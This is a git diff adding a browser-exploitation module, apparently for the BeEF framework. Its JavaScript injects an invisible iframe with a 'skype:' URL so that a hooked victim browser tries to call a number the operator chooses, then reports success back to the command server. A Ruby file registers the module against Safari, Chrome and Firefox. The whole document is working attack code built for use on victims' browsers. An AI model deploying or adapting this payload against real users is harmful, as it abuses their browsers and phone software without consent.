diff --git a/modules/commands/host/insecure_url_skype/insecure_url_skype.js b/modules/commands/host/insecure_url_skype/insecure_url_skype.js new file mode 100644 index 000000000..d65cf5d9d --- /dev/null +++ b/modules/commands/host/insecure_url_skype/insecure_url_skype.js @@ -0,0 +1,5 @@ +beef.execute(function() { + var sploit = beef.dom.createInvisibleIframe(); + sploit.src = 'skype:<%= @tel_num %>?cal'; + beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!"); +}); diff --git a/modules/commands/host/insecure_url_skype/insecure_url_skype.rb b/modules/commands/host/insecure_url_skype/insecure_url_skype.rb new file mode 100644 index 000000000..86bbe783d --- /dev/null +++ b/modules/commands/host/insecure_url_skype/insecure_url_skype.rb @@ -0,0 +1,55 @@ +module BeEF +module Modules +module Commands + + +class Insecure_url_skype < BeEF::Command + + # + # Defines and set up the command module. + # + def initialize + super({ + 'Name' => 'Insecure URL Handling - Skype Call', + 'Description' => 'This module will force the browser to attempt a skype call. It will exploit the insecure handling of URL schemes
+
+ The protocol handler used will be: skype', + 'Category' => 'Host', + 'Author' => 'xntrik, Nitesh Dhanjani', + 'Data' => [ + { 'name' => 'tel_num', 'ui_label'=>'Number', 'value' =>'5551234', 'width' => '200px' } + ], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_USER_NOTIFY, + 'browser_name' => S + }) + + set_target({ + 'verified_status' => VERIFIED_USER_NOTIFY, + 'browser_name' => C + }) + + set_target({ + 'verified_status' => VERIFIED_USER_NOTIFY, + 'browser_name' => FF + }) + + use 'beef.dom' + use_template! + end + + def callback + content = {} + content['Result'] = @datastore['result'] + save content + + end + +end + +end +end +end